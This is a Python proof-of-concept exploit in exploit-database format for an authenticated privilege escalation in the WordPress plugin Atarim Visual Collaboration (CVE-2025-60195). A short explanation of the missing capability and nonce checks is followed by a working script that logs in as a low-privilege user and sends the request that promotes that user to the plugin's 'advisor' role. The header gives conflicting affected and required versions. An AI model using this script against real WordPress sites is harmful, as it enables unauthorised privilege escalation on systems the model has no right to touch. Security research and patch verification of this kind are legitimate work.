📄 WordPress Atarim Visual Collaboration 4.2.1 Privilege Escalation

#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Atarim Visual Collaboration <= 4.2.1 - Authenticated (Subscriber+) Privilege Escalation to Advisor
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/atarim-visual-collaboration/
    # Software Link: https://downloads.wordpress.org/plugin/atarim-visual-collaboration.4.1.3.zip
    # Version: 4.1.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-60195
    """
    Atarim Visual Collaboration <= 4.2.1: new_license_activation() is hooked on 'init' and runs on any
    URL. In the vulnerable version it does update_user_meta(current_user, 'wpf_user_type', 'advisor')
    with NO capability check and NO nonce (atarim-visual-collaboration.php:337), so any logged-in
    low-privilege user promotes themselves to the plugin's 'advisor' collaboration role by requesting
    any page with ?atarim_response=x&wpf_site_id=x.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="lp_subscriber")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        a = ap.parse_args(); base = a.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": a.user, "pwd": a.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        print(f"[*] Target: {base} | logged in as {a.user}")
        r = s.get(base + "/", params={"atarim_response": "x", "wpf_site_id": "x"}, timeout=20)
        print(f"[*] trigger GET /?atarim_response=x&wpf_site_id=x -> HTTP {r.status_code}")
        print("\n[+] Privilege-escalation request sent. Verify: user meta wpf_user_type == 'advisor'.")
        print("    (wp user meta get %s wpf_user_type)" % a.user)
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())